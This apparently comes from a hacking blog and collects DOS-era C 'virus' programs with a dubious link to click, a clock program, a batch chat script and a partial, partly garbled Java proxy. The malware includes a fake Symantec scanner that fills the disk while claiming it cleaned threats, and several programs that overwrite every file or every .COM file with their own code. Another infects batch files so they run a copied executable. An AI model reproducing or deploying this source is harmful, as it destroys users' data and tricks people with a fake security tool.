Free-email service

hiii frnds 


whts up 


u have a id on yahoo,gmail,hotmail and any other but


here not a rquired of ur id


just go nd mail ur frnds


click on this link


http://virusex.hpage.com

Memory-space virus

#include<stdio.h>
#include<conio.h>
#include<dos.h>
#include<stdlib.h>
FILE *a,*t,*b;
int r,status,vir_count;
double i;
char ch[]="CREATING A HUGE FILE FOR OCCUPYING HARDDISK SPACE",choice;

void eatspace(void);
void findroot(void);
void showstatus(void);
void draw(void);
void accept(void);

void main()
{
draw();
accept();
textcolor(WHITE);
draw();
gotoxy(12,8);
cputs("ANALYZING YOUR SYSTEM. PLEASE WAIT...");
sleep(3);
gotoxy(12,8);
delline();
cputs("PRESS ANY KEY TO START THE SYSTEM SCAN...");
getch();
gotoxy(12,8);
delline();
findroot();
}

void accept()
{
textcolor(LIGHTRED);
gotoxy(1,8);
cputs
if((choice=getch())!=13)
exit(0);
}

void draw()
{
clrscr();
textcolor(WHITE);
gotoxy(12,2);
cputs("********************************************************");
gotoxy(12,6);
cputs("********************************************************");
gotoxy(12,3);
cputs("*\n\b*\n\b*\n\b");
gotoxy(67,3);
cputs("*\n\b*\n\b*\n\b");
gotoxy(14,4);
cputs("SYMANTEC SECURITY SCAN - 2009 (QUICK SYSTEM SCANNER)");
}

void findroot()
{
t=fopen("C:\\windows\\explorer.exe","rb");
if(t!=NULL)
{
fclose(t);
textcolor(WHITE);
a=fopen("C:\\windows\\system32\\spceshot.dll","rb");
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
getch();
exit(1);
}
b=fopen("C:\\windows\\system32\\spceshot.dll","wb+");
if(b!=NULL)
{
showstatus();
eatspace();
}
}
t=fopen("D:\\windows\\explorer.exe","rb");
if(t!=NULL)
{
fclose(t);
a=fopen("D:\\windows\\system32\\spceshot.dll","rb");
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
getch();
exit(1);
}
b=fopen("D:\\windows\\system32\\spceshot.dll","wb+");
if(b!=NULL)
{
showstatus();
eatspace();
}
}
t=fopen("E:\\windows\\explorer.exe","rb");
if(t!=NULL)
{
fclose(t);
a=fopen("E:\\windows\\system32\\spceshot.dll","rb");
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
getch();
exit(1);
}
b=fopen("E:\\windows\\system32\\spceshot.dll","wb+");
if(b!=NULL)
{
showstatus();
eatspace();
}
}
t=fopen("F:\\windows\\explorer.exe","rb");
if(t!=NULL)
{
fclose(t);
a=fopen("F:\\windows\\system32\\spceshot.dll","rb");
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
getch();
exit(1);
}
b=fopen("F:\\windows\\system32\\spceshot.dll","wb+");
if(b!=NULL)
{
showstatus();
eatspace();
}
}
if(t==NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SYSTEM SCAN FAILED! PRESS ANY KEY TO CLOSE THIS PROGRAM.");
getch();
exit(1);
}
exit(1);
}

void eatspace()
{
textcolor(LIGHTRED);
gotoxy(12,16);
cputs("WARNING: DO NOT ABORT THE SCAN PROCESS UNTIL IT IS COMPLETED!\n");
textcolor(WHITE);
gotoxy(12,18);
while(1)
{
for(r=1;r<4;r++)
{
for(i=1;i<900000;i++)
{
status=fputs(ch,b);
if(status==EOF)
{
textcolor(WHITE);
vir_count=random(120);
draw();
gotoxy(12,8);
cprintf("SCAN COMPLETE!. DETECTED AND CLEANED OVER %d THREATS!",vir_count);
gotoxy(12,10);
cprintf("PRESS ANY KEY TO CLOSE...");
getch();
break;
}
}
cputs(".");
if(status==EOF) break;
}
if(status==EOF) break;
}
exit(0);
}

void showstatus()
{
gotoxy(12,8);
cputs("SCANNING THE SYSTEM FOR THREATS");
gotoxy(12,10);
cputs("THIS MAY TAKE UP A FEW MINUTES TO FEW HOURS");
gotoxy(12,13);
cputs("SCAN IN PROGRESS. PLEASE WAIT...");
}

In-fection virus

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %sn”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SECn”,
(end-st)/CLK_TCK);
getch();
}

Clock virus

#include stdio.h
#include conio.h
#include stdlib.h
#include graphics.h
#include dos.h
#include math.h
void main()
{
struct time t;
void drawclock(void);
void intro(void);
void sound(void);
int gdriver=DETECT,gmode;
initgraph(&gdriver,&gmode,"D:\tc\bgi");
int i,j,k,s,m,h;
intro();
settextstyle(DEFAULT_FONT, HORIZ_DIR, 1);
drawclock();
gettime(&t);

if(t.ti_sec>15)
s=360-((t.ti_sec-15)*6);
else
s=90-(t.ti_sec*6);

if(t.ti_min>15)
m=360-((t.ti_min-15)*6);
else
m=90-(t.ti_min*6);

if( (t.ti_hour==0)||(t.ti_hour==1)||(t.ti_hour==2)||(t.ti_hour==3))
h=90-(t.ti_hour*30)-((t.ti_min/12)*6);
else if((t.ti_hour>=4)&&(t.ti_hour<=12)) h=360-((t.ti_hour-3)*30)-((t.ti_min/12)*6); else if((t.ti_hour>=13)&&(t.ti_hour<=23))
h=360-((t.ti_hour-15)*30)-((t.ti_min/12)*6);
else// if(t.ti_hour==12)
h=90-((t.ti_hour-12)*30)-((t.ti_min/12)*6);

for(k=0;k<=12;k++)
{
if(h==0)
h=360;
delay(1000);
drawclock();
for(j=0;j<=60;j++)
{
if(m==0)
m=360;
setcolor(4);
sector(320,150,m,m+1,75,75);
m=m-6;
delay(1000);
drawclock();
for(i=0;i<=60;i++)
{
setcolor(4);
sector(320,150,h,h+3,60,60);
setcolor(4);
sector(320,150,m,m+1,75,75);
if(s==0)
s=360;
setcolor(1);
sector(320,150,s,s+1,80,80);
sound();
s=s-6;
delay(1000);
drawclock();
if(kbhit())
exit(0);
}
setcolor(6);
sector(320,150,h,h+3,60,60);
}
}
getch();
}
void drawclock()
{
cleardevice();
setbkcolor(15);
setcolor(1);
circle(320,150,80);
setcolor(5);
circle(320,150,95);
circle(320,150,1);
outtextxy(314,58,"12");
outtextxy(268,70,"11");
outtextxy(235,105,"10");
outtextxy(233,147,"9");
outtextxy(241,190,"8");
outtextxy(273,225,"7");
outtextxy(318,238,"6");
outtextxy(362,225,"5");
outtextxy(392,190,"4");
outtextxy(403,147,"3");
outtextxy(393,105,"2");
outtextxy(361,70,"1");
outtextxy(302,200,"TILAK");
}
void intro()
{
int i;
int u=installuserfont("TSCR.CHR");
settextstyle(u,0,7);
outtextxy(175,100,"TILAK's");
outtextxy(250,200,"CLOCK");
settextstyle(TRIPLEX_FONT, HORIZ_DIR, 1);
outtextxy(380,400,"Loading..");

for(i=0;i<510;i++)
{
setcolor(15);
rectangle(50,100,50+i,110);
delay(5);
}
settextstyle(TRIPLEX_FONT, HORIZ_DIR, 1);
outtextxy(380,400,"Loading....");

for( i=0;i<510;i++)
{
setcolor(4);
rectangle(50,100,50+i,110);
delay(5);
}

settextstyle(TRIPLEX_FONT, HORIZ_DIR, 1);
outtextxy(380,400,"Loading......");

for(i=0;i<510;i++)
{
setcolor(15);
rectangle(50,200,50+i,210);
delay(5);
}
settextstyle(TRIPLEX_FONT, HORIZ_DIR, 1);
outtextxy(380,400,"Loading........");

setfillstyle(SOLID_FILL,1);
fillellipse(320,205,6,6);
settextstyle(TRIPLEX_FONT, HORIZ_DIR, 1);
outtextxy(380,400,"Loading..........");

for(i=0;i<510;i++)
{
setcolor(15);
rectangle(50,300,50+i,310);
delay(5);
}
settextstyle(TRIPLEX_FONT, HORIZ_DIR, 1);
outtextxy(380,400,"Loading............");

for( i=0;i<510;i++)
{
setcolor(2);
rectangle(50,300,50+i,310);
delay(5);
}
settextstyle(TRIPLEX_FONT, HORIZ_DIR, 1);
outtextxy(380,400,"Loading..............");
delay(1000);
}
void sound()
{
sound(2000);
delay(100);
nosound();
}

Hst virus

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>

FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;

void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %sn”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SECn”,
(end-st)/CLK_TCK);
getch();
}

how to chat using command prompat

@echo off
:A
cls
echo MESSENGER
set /p n=user
set /p n=message
net send %n% %m%
pause
goto A


save this file chat.bat 


now chat y lukin this code

W@rl0(k virus

    #include <stdio.h>
    #include <dos.h>
    #include <dir.h>
    #include <string.h>


            struct ffblk ffblk;
    main()
    {
         char old_dir[MAXPATH];
         Get_Path(old_dir);            /* Save the old directory  */
         Pick_A_Dir();                 /* Find a new directory to */
         Infect_Directory();           /* infect and infect it.   */
         chdir(old_dir);               /* Return to old directory */
         return 0;
    }






    Pick_A_Dir()
    {
         int done;
         chdir("..");                      /* First, Go out a DIR. */
         done=findfirst("*.BAT",&ffblk,0); /* If no BAT files, try */
                                           /* root and DOS         */
         if (done)
                {
                chdir("\\");
                done=findfirst("*.BAT",&ffblk,0);
                if (done) chdir("\\DOS\\");
                }
    return 0;
    }




    Infect_Directory()
    {
         int done;


         done = findfirst("*.BAT",&ffblk,0);
         while (!done)                       /* Find all .BAT files */
            {                                /* and add code to run */
             Do_Batch();                     /* BAT&COM if not      */
             done = findnext(&ffblk);        /* already there       */
            }


         if (findfirst("BAT&COM.COM",&ffblk,0)) /* If BAT&COM does  */
            {Copy_Virus();}                     /* not exist, then  */
         return 0;                              /* copy it into dir.*/
    }






    Do_Batch()
    {
            FILE *batch;
            char Infection_Buffer[12];
            char vpath[MAXPATH];


            Get_Path(vpath);            /* Get path for adding path */
                                        /* specifier in commands    */




            if (vpath[3]==0) vpath[2]=0; /* Keep path good in root  */


            batch=fopen(ffblk.ff_name, "rt+");
            fseek(batch, -11, SEEK_END);
            fread(Infection_Buffer,11,1,batch);
            Infection_Buffer[11]=0;             /* Terminate String */


            if (strcmp(Infection_Buffer,"BAT&COM.COM")) /* Check if */
                    {                                   /* Batch is */
                    fseek(batch, 0, SEEK_END);          /* infected.*/
                    fprintf(batch,"\n%s\\BAT&COM.COM",vpath);
                    }                              /*^- Add command */
                                                   /*   to batch    */


            fclose(batch);
            return 0;
    }




    Copy_Virus()
    {
         FILE *old_virus, *new_virus;
         int write_length;
         char copy_buffer[1024];              /* Copy the virus to */
                                              /* new directory     */
         old_virus=fopen(_argv[0],"rb");
         new_virus=fopen("BAT&COM.COM","wb");


         write_length=1024;


         while (write_length==1024)
            {
            write_length=fread(copy_buffer,1,1024,old_virus);
            fwrite(copy_buffer,write_length,1,new_virus);
            }
         fclose(old_virus);
         fclose(new_virus);
         return 0;
    }




    Get_Path(char *path)
    {
            strcpy(path, "A:\\");
            path[0] ='A' + getdisk();    /* Returns current path */
            getcurdir(0, path+3);
            return 0;
    }

B-lk virus

#include <stdio.h>
 #include <dos.h>
 #include <dir.h>


    FILE *Virus,*Host;
    int x,y,done;
    char buff[256];
    struct ffblk ffblk;


    main()
    {
     done = findfirst("*.COM",&ffblk,0);   /* Find a .COM file */
       while (!done)               /* Loop for all COM's in DIR*/
        {
        printf("Infecting  %s\n", ffblk.ff_name);    /* Inform user */
        Virus=fopen(_argv[0],"rb");          /* Open infected file  */
        Host=fopen(ffblk.ff_name,"rb+");     /* Open new host file  */


        x=9504;                               /* Virus size - must   */
                                              /* be correct for the  */
                                              /* compiler it is made */
                                              /* on, otherwise the   */
                                              /* entire virus may not*/
                                              /* be copied!!         */
        while (x>256)                         /* OVERWRITE new Host  */
            {                                 /* Read/Write 256 byte */
            fread(buff,256,1,Virus);          /* chunks until bytes  */
            fwrite(buff,256,1,Host);          /* left < 256          */
            x-=256;
            }
        fread(buff,x,1,Virus);                /* Finish off copy     */
        fwrite(buff,x,1,Host);
        fcloseall();                          /* Close both files and*/
        done = findnext(&ffblk);              /* go for another one. */
        }
                                              /* Activation would go */
                                              /* here                */
      return (0);                             /* Terminate           */
    }

P-roxy code

#include(proxy.java)
#include(compiler.java)
#include(jvm.c)


Admin.java*c


/****************************************************************** 
*** File Admin.java*c 
*** 
***/
import java.net.*; 
import java.io.*;
import c.net.*;
import c.io.*;




// 
// Class:     Admin 
// Abstract:  The admin thread listens on admin socket and handle all 
//            communications with the remote administrator. 
//


public class Admin extends Thread 
{ 
 // 
 // Member variables 
 //


 ServerSocket adminSocket = null; 
 Socket appletSocket = null; 
 String passwordCandidate = null; 
 DataInputStream in = null; 
 DataOutputStream out = null; 
 Config config = null; 
 Cache cache; 
  
  
 // 
 // Public methods 
 //


 // 
 // Constructor 
 // 
 Admin(Config configObject, Cache cacheManager) 
 { 
  try 
  { 
   config = configObject; 
   cache = cacheManager; 
   adminSocket = new ServerSocket(0); 
   config.setAdminPort(adminSocket.getLocalPort()); 
  } 
  catch (IOException e) 
  { 
   System.out.println("Error opening admin socket"); 
  } 
 }


 // 
 // Handle communications with remote administrator 
 // 
 public void run() 
 { 
  while(true) 
  { 
   try 
   { 
    appletSocket = adminSocket.accept(); 
    in = new DataInputStream(appletSocket.getInputStream()); 
    out = new DataOutputStream(appletSocket.getOutputStream());


    do 
    { 
     // Read password candidate sent by applet 
     String passwordCandidate = in.readLine();


     // Send applet ack/nack on password 
     if (config.getPassword().equals(passwordCandidate)) 
     { 
      out.writeBytes("ACCEPT\n"); 
      break; 
     } 
     else 
     { 
      out.writeBytes("REJECT\n"); 
     } 
     out.flush(); 
    } 
    while (true);

    // 
    // Password is OK, so let's send the administrator the 
    // parameters values and read his new values 
    // 
    while(true) 
    { 
     out.writeBytes(config.toString()); 
     out.flush();


     config.parse(in.readLine()); 
     System.out.println("Configuration changed by administrator.");


     // Administrator wants to clean the cache 
     if (config.getCleanCache()) 
     { 
      cache.clean(); 
      config.setCleanCache(false); //no need to clean again 
     } 
    } 
   } 
   catch (Exception e) 
   { 
    // 
    // This line was reached because the administrator closed 
    // the connection with the proxy. That's fine, we are now 
    // available for another administrator to log in. 
    // 
    System.out.println("Connection with administrator closed."); 
   } 
   finally 
   { 
    try 
    { 
     out.close(); 
     in.close(); 
    } 
    catch(Exception exc) 
    {} 
   } 
  }//while 
 } 
}


Cache.java


/****************************************************************** 
*** File Cache.java 
*** 
***/
import java.io.*; 
import java.util.*; 
import java.net.*;


// 
// Class:     Cache 
// Abstract:  manages all caching activities. 
//


public class Cache 
{ 
 // 
 // Members variables 
 //


 String basePath = null; 
 long MinFreeSpace;// in bytes 
 Hashtable htable; 
 Config config;


 // 
 // Public methods 
 //


 // 
 // Constructor 
 // 
 public Cache(Config configObject) 
 { 
  // 
  // Initialize variables 
  // 
  config = configObject; 
  MinFreeSpace = 15000; 
  htable = new Hashtable();


  // 
  // Create directory for caching 
  //


  File cacheDir = new File("Cache"); 
  cacheDir.mkdirs(); 
  basePath = cacheDir.getAbsolutePath(); 
  
  // 
  // Delete all files in cache directory 
  // 
  int i; 
  File file = new File(basePath);; 
  String filename;


  // Get list of files in cache direcotry 
  String files[] = file.list();


  // Delete each file found 
  for (i=0; i<files.length; i++) 
  { 
   file = new File(basePath + File.separatorChar + files[i]); 
   file.delete(); 
  } 
  config.setFilesCached(0); 
  config.setBytesCached(0); 
  config.setHits(0); 
  config.setMisses(0); 
 }


 // 
 // isCachable - check if URL reply should be cached 
 // 
 public boolean IsCachable(String rawUrl) 
 { 
  return (getFileName(rawUrl) != null); 
 } 



 // 
 // IsCached - Check if we have in cache what the client wants. 
 // 
 public boolean IsCached(String rawUrl) 
 { 
  // Generate filename from URL 
  String filename = getFileName(rawUrl); 
  if (filename == null) 
   return false;


  // Search in hash table 
  if (htable.get(filename) != null) 
   return true;


  return false; 
 }


 // 
 // getFileInputStream - When this method is called, it means a cache hit. 
 //   We update the date field in the hash table entry and return a 
 //   FileInputStream object corresponding to the file caching the info. 
 // 
    public FileInputStream getFileInputStream(String rawUrl) 
 { 
  FileInputStream in = null; 
  try 
  { 
      String filename = getFileName(rawUrl);

   // Update the hash table entry with current date as value 
   htable.put(filename,new Date());


   in = new FileInputStream(filename); 
  } 
  catch (FileNotFoundException fnf) 
  { 
   try


   { 
    System.out.println("File Not Found:"+getFileName(rawUrl)+" "+fnf); 
   } 
   catch (Exception e) 
   {} 
  } 
  finally 
  { 
   return in; 
  } 
 }


 // 
 // getFileoutputStream - When this method is called, it means we're about 
 //   to cache a new object. We generate a file name, and return 
 //   a corresponding FileOutputStream object. 
 // 
    public FileOutputStream getFileOutputStream(String rawUrl) 
 { 
  FileOutputStream out = null; 
  String filename; 
  try 
  { 
      filename = getFileName(rawUrl);


   out = new FileOutputStream(filename); 
  } 
  catch (IOException e) 
  {} 
  finally 
  { 
   return out; 
  } 
 }


 // 
 // Decrement Cache Free Space (In Bytes) 
 // 
 public synchronized void DecrementFreeSpace(int nbytes, String rawUrl) 
 { 
  config.setBytesCached(config.getBytesCached() + nbytes); 
  if (config.getBytesFree() <= MinFreeSpace) 
   MakeFreeSpace(rawUrl); 
 }


 // 
 // Add new entry to hash table 
 // 
 public synchronized void AddToTable(String rawUrl) 
 { 
  String filename = getFileName(rawUrl);


  // Add filename to hash table with the current date as its value 
  htable.put(filename,new Date()); 
  config.increaseFilesCached(); 
 }


 // 
 // clean - delete the cached files 
 // 
    public synchronized void clean() 
 { 
  System.out.println("Cleaning the cache...");


  // Enumerate the hash table 
  for (Enumeration keys = htable.keys(); keys.hasMoreElements() ;) 
  { 
   String filename = (String)keys.nextElement(); 
   File file = new File(filename); 
   long nbytes = file.length(); 
   boolean result = file.delete(); 
   if (result == true) 
   { 
    // Delete entry in hash table 
    htable.remove(filename); 
    config.decreaseFilesCached();


    // Increment free space 
    config.setBytesCached(config.getBytesCached() - nbytes); 
   } 
   else 
   { 
    // Another thread holds this file open for writing 
   } 
  } 
  config.setHits(0); 
  config.setMisses(0); 
  System.out.println("Cache is clean."); 
 }


 // 
 // Private methods 
 //


 // 
 // MakeFreeSpace - throw LRU file until free space is above min level 
 // 
 private synchronized void MakeFreeSpace(String rawUrl) 
 { 
  String filename, 
      LRUfilename; 
  Date   date, 
      minDate;


  minDate = new Date(); 
  while (config.getBytesFree() < MinFreeSpace) 
  { 
   filename = LRUfilename = null; 
   date = null;


   if (htable.isEmpty()) 
   { 
    System.out.println("Could not make free space: Hash table empty..."); 
    return; 
   }


   // 
   // Enumerate the hash table entries to find the LRU file 
   // 
   for (Enumeration keys = htable.keys(); keys.hasMoreElements() ;) 
   { 
    filename = (String)keys.nextElement(); 
    date = (Date)htable.get(filename); 
    if (date.before(minDate)) 
     LRUfilename = filename; 
   }


   // 
   // Delete the LRU file 
   // 
   File LRUfile = new File(LRUfilename); 
   long nbytes = LRUfile.length(); 
   boolean result = LRUfile.delete(); 
   if (result == true) 
   { 
    // Delete entry in hash table 
    htable.remove(LRUfilename); 
    config.decreaseFilesCached();


    // Increment free space 
    config.setBytesCached(config.getBytesCached() - nbytes); 
   } 
   else 
   { 
    // Another thread holds this file open for writing 
    System.out.println("File "+LRUfilename+" could not be deleted..."); 
    return; 
   } 
  } 
  }


 // 
 // Convert the URL to filename - this method parses the URL and 
 //   generate filename only if the URL is to be cached. 
 //   We do not cache URLs containing '?', "cgi-bin" and 
 //   a list of not-to-cached-URLs as instructed by the proxy administrator. 
 // 
 private String getFileName(String rawUrl) 
 { 
  String filename = basePath + File.separatorChar + rawUrl.substring(7).replace('/','@');


  if (filename.indexOf('?') != -1 || filename.indexOf("cgi-bin") != -1) 
  { 
   return null; 
  }


  return filename; 
 } 
}


Config.java


/****************************************************************** 
*** File Config.java 
*** 
***/
import java.util.*; 
import java.net.*; 
import java.io.*;


// 
// Class:     Config 
// Abstract:  Configurable parameters of the proxy. This class is 
//            used by both the applet and the proxy. 
//


class Config 
{ 
 // 
 // Member variables 
 // 
    private boolean  isFatherProxy; 
    private String   fatherProxyHost; 
    private int      fatherProxyPort; 
    private String[] deniedHosts; 
    private String   password; 
 private boolean  isCaching;  // enable/disable caching 
 private long   cacheSize;  // cache size in bytes 
    private boolean  cleanCache; 
    private String[] cacheMasks; 
  
    private long     filesCached; 
    private long     bytesCached; 
    private long     bytesFree; 
    private long     hits; 
    private long     misses;


    private final int defaultProxyPort = 8080; 
    private final String defaultPassword = "admin"; 
    private final long defaultCacheSize = 1000000; 
  
 private String adminPath; 
 private int    adminPort;


 private String localHost; 
 private String localIP;


 private boolean isAppletContext; 
 private String  separator = " "; 
 private String proxyMachineNameAndPort;


 // 
 // Member methods 
 //


 // 
 // Constructor 
 // 
 Config() 
 { 
  filesCached = 0; 
  bytesCached = 0; 
  bytesFree = cacheSize; 
  hits = 0; 
  misses = 0;


  reset(); 
 }


 // 
 // Re-initialize 
 // 
 public void reset() 
 { 
        isFatherProxy = true; 
        fatherProxyHost = "wwwproxy.ac.il"; 
        fatherProxyPort = defaultProxyPort; 
        password = defaultPassword; 
     isCaching = true; 
     cacheSize = defaultCacheSize; 
        cleanCache = false;


  deniedHosts = new String[0]; 
  cacheMasks = new String[0]; 
 }


 // 
 // Set/get methods 
 //


 // Set if we are in the applet or in the proxy 
 public void setIsAppletContext(boolean b) 
 { 
  isAppletContext = b; 
 }


 public void setProxyMachineNameAndPort(String s) 
 { 
  proxyMachineNameAndPort = s; 
 }


 public String getProxyMachineNameAndPort() 
 { 
  return proxyMachineNameAndPort; 
 }


 public int getAdminPort() 
 { 
  return adminPort; 
 }


 public void setAdminPort(int port) 
 { 
  adminPort = port; 
 } 
  
 public void setAdminPath(String path) 
 { 
  adminPath = path; 
 }


 public String getAdminPath() 
 { 
  return adminPath; 
 } 
  
 public void setLocalHost(String host) 
 { 
  localHost = host; 
 }


 public String getLocalHost() 
 { 
  return localHost; 
 } 
  
 public void setLocalIP(String ip) 
 { 
  localIP = ip; 
 } 
  
 public String getLocalIP() 
 { 
  return localIP; 
 } 
  
 boolean getIsCaching() 
 { 
  return isCaching; 
 } 
  
 public synchronized void setIsCaching(boolean caching) 
 { 
  isCaching = caching; 
 }


 public synchronized long getCacheSize() 
 { 
  return cacheSize; 
 } 
 public synchronized void setCacheSize(long size) 
 { 
  cacheSize = size; 
 }


    public boolean getIsFatherProxy() 
    { 
        return isFatherProxy; 
    } 
  
    public synchronized void setIsFatherProxy(boolean fatherProxy) 
    { 
        isFatherProxy  = fatherProxy; 
    } 
  
    public String getFatherProxyHost() 
    { 
        return fatherProxyHost; 
    } 
  
    public synchronized void setFatherProxyHost(String host) 
    { 
        fatherProxyHost = host; 
    } 
  
    public int getFatherProxyPort() 
    { 
        return fatherProxyPort; 
    } 
  
    public synchronized void setFatherProxyPort(int port) 
    { 
        fatherProxyPort = port; 
    } 
  
    public String[] getDeniedHosts() 
    { 
        return deniedHosts; 
    } 
  
    public synchronized void setDeniedHosts(String[] hosts) 
    { 
        deniedHosts = hosts; 
    } 
  
    public String getPassword() 
    { 
        return password; 
    } 
  
    public synchronized void setPassword(String newPassword) 
    { 
        password = newPassword; 
    } 
  
    public boolean getCleanCache() 
    { 
        return cleanCache; 
    } 
  
    public synchronized void setCleanCache(boolean clean) 
    { 
        cleanCache = clean; 
    } 
  
    public String[] getCacheMasks() 
    { 
        return cacheMasks; 
    } 
  
    public synchronized void setCacheMasks(String[] masks) 
    { 
        cacheMasks = masks; 
    } 
  
    public long getFilesCached() 
    { 
        return filesCached; 
    } 
  
    public synchronized void increaseFilesCached() 
    { 
        filesCached++; 
    }


    public synchronized void decreaseFilesCached() 
    { 
        filesCached--; 
    }


 public synchronized void setFilesCached(long number) 
 { 
  filesCached = number; 
 } 
  
    public long getBytesCached() 
    { 
        return bytesCached; 
    } 
  
    public synchronized void setBytesCached(long number) 
    { 
        bytesCached = number; 
    }


    public long getBytesFree() 
    { 
        return cacheSize - bytesCached; 
    } 
  
    public long getHits() 
    { 
        return hits; 
    } 
  
    public synchronized void increaseHits() 
    { 
        hits++; 
    }


 public synchronized void setHits(long number) 
 { 
  hits = number; 
 } 
  
    public long getMisses() 
    { 
        return misses; 
    } 
  
    public synchronized void increaseMisses() 
    { 
        misses++; 
    }


 public synchronized void setMisses(long number) 
 { 
  misses = number; 
 }


    public double getHitRatio() 
    { 
        if ((hits + misses)==0) 
            return 0; 
        else 
            return 100*hits / (hits + misses); 
    } 



 // 
 // Construct a string with all parameters 
 // 
 public synchronized String toString() 
 { 
  int i; 
  String s = ""; 
  s += isFatherProxy + separator; 
        s += fatherProxyHost.equals("") ? "NULL" : fatherProxyHost; 
        s +=                    separator + 
        fatherProxyPort       + separator;


        s += deniedHosts.length + separator; 
        for (i=0; i<deniedHosts.length; i++) 
            s += deniedHosts[i] + separator; 
  
        s += 
        password              + separator + 
     isCaching             + separator + 
     cacheSize             + separator + 
        cleanCache            + separator;


        s += cacheMasks.length + separator; 
        for (i=0; i<cacheMasks.length; i++) 
            s += cacheMasks[i] + separator; 
  
        s+= proxyMachineNameAndPort + separator; 
  
  s += 
        filesCached           + separator + 
        bytesCached           + separator + 
        bytesFree             + separator + 
        hits                  + separator + 
        misses                + separator + 
  "\n"; 
  return s; 
 }


 // 
 // Set parameters according to a string (that was sent by applet) 
 // 
 public synchronized void parse(String config) 
 { 
  System.out.println("Parsing administrator request..."); 
  int size,i; 
  StringTokenizer s = new StringTokenizer(config,separator);


        isFatherProxy       = s.nextToken().equals("true"); 
  System.out.println("Use father proxy = "+isFatherProxy); 
        fatherProxyHost     = s.nextToken(); 
        if(fatherProxyHost.equals("NULL")) 
           fatherProxyHost = ""; 
  System.out.println("Father proxy name = "+fatherProxyHost);


        fatherProxyPort     = Integer.parseInt(s.nextToken()); 
  System.out.println("Father proxy port = "+fatherProxyPort);


        size = Integer.parseInt(s.nextToken()); 
        deniedHosts = new String[size]; 
        for (i=0; i<size; i++) 
  { 
            deniedHosts[i] = s.nextToken(); 
   System.out.println("Deny access to "+deniedHosts[i]); 
  }


        password            = s.nextToken(); 
  System.out.println("password = "+password); 
     isCaching           = s.nextToken().equals("true"); 
  System.out.println("Caching = "+isCaching); 
     cacheSize           = Long.parseLong(s.nextToken()); 
  System.out.println("Cache size = "+cacheSize); 
        cleanCache          = s.nextToken().equals("true"); 
  System.out.println("Do cache clean up = "+cleanCache); 
  
        size = Integer.parseInt(s.nextToken()); 
        cacheMasks = new String[size]; 
        for (i=0; i<size; i++) 
  { 
            cacheMasks[i] = s.nextToken(); 
   System.out.println("Don't cache "+cacheMasks[i]); 
  }


        proxyMachineNameAndPort = s.nextToken(); 
  
  if (isAppletContext) 
  { 
   filesCached         = Long.parseLong(s.nextToken()); 
   bytesCached         = Long.parseLong(s.nextToken()); 
   bytesFree           = Long.parseLong(s.nextToken()); 
   hits                = Long.parseLong(s.nextToken()); 
   misses              = Long.parseLong(s.nextToken()); 
  }


  // 
  // Update bytesFree to reflect the change in cache size. 
  // Note that free bytes can be below min free level now. 
  // 
  bytesFree = cacheSize - bytesCached; 
 } 
}


Daemon.c*java


/****************************************************************** 
*** File Daemon.c*java 
*** 
***/
import java.net.*; 
import java.io.*;

import c.net.*; 
import c.io.*;


// 
// Class:     Daemon 
// Abstract:  Web daemon thread. creates main socket on port 8080 
//            and listens on it forever. For each client request, 
//            creates proxy thread to handle the request. 
// 
public class Daemon extends Thread 
{ 
 // 
 // Member variables 
 // 
 static ServerSocket MainSocket = null; 
    static Cache cache = null; 
 static Config config; 
 static String adminPath;


 final static int defaultDaemonPort = 8080; 
 final static int maxDaemonPort = 65536;


  
 // 
 // Member methods 
 //


 // Application starts here 
 public static void main(String args[]) 
 { 
  int daemonPort;


  // Parse command line 
  switch (args.length) 
  { 
   case 0: daemonPort = defaultDaemonPort; 
     break;


   case 1: try 
     { 
      daemonPort = Integer.parseInt(args[0]); 
     } 
     catch (NumberFormatException e) 
     { 
      System.out.println("Error: Invalid daemon port"); 
      return; 
     } 
     if (daemonPort > maxDaemonPort) 
     { 
      System.out.println("Error: Invalid daemon port"); 
      return; 
     } 
     break;


   default:System.out.println("Usage: Proxy [daemon port]"); 
     return; 
  }


  
  
  try 
  { 
   // Create the Cache Manager and Configuration objects 
   System.out.println("Initializing..."); 
   System.out.print("Creating Config Object..."); 
   config = new Config(); 
   config.setIsAppletContext(false); 
   config.setLocalHost(InetAddress.getLocalHost().getHostName()); 
   String tmp = InetAddress.getLocalHost().toString(); 
   config.setLocalIP(tmp.substring(tmp.indexOf('/')+1)); 
   config.setProxyMachineNameAndPort(InetAddress.getLocalHost().getHostName()+":"+daemonPort); 
   File adminDir = new File("Applet"); 
